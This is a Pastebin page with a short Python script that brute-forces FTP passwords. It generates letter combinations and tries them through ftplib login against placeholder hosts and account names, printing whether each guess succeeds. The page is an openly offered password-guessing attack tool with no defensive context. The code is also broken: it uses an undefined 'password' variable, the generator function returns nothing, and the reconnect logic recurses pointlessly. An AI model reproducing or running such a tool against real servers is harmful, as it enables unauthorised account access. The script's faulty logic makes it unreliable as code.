Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import ftplib
- import random
- #def genLetter(letters):
- # return letters[random.randint(0,len(letters)-1)]
- #def genPassword(length,letters):
- # password = ""
- # if(length == "-"):
- # length = random.randint(1,9)
- # for i in range(length):
- # password += genLetter(letters)
- # return password
- def genPassword(letters):
- for current in xrange(10):
- a = [i for i in letters]
- for y in xrange(current):
- a = [x+i for i in letters for x in a]
- def setupConnection(host):
- ftp = ftplib.FTP(host)
- if(not ftp):
- print("NO CONNECTION TO " + host)
- ftp = setupConnection(host)
- return ftp
- def brute_force_for(username,letters,host):
- do = 1
- letters = list(letters)
- for current in xrange(1000000):
- if(do == 1):
- a = [i for i in letters]
- for y in xrange(current):
- a = [x+i for i in letters for x in a]
- ftp = setupConnection(host)
- try:
- work = ftp.login(username, password)
- except:
- work = 0
- if(work != 0):
- print("TRY FOR " + username + " WITH " + password + " - TRUE")
- do = 0
- else:
- print("TRY FOR " + username + " WITH " + password + " - FALSE")
- brute_force_for("account1", "abcdefghijklmnopqrstuvwxyz", "host1")
- brute_force_for("account2", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "host2")
- brute_force_for("account3", "abcdefghijklmnopqrstuvwxyz1234567890", "host3")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement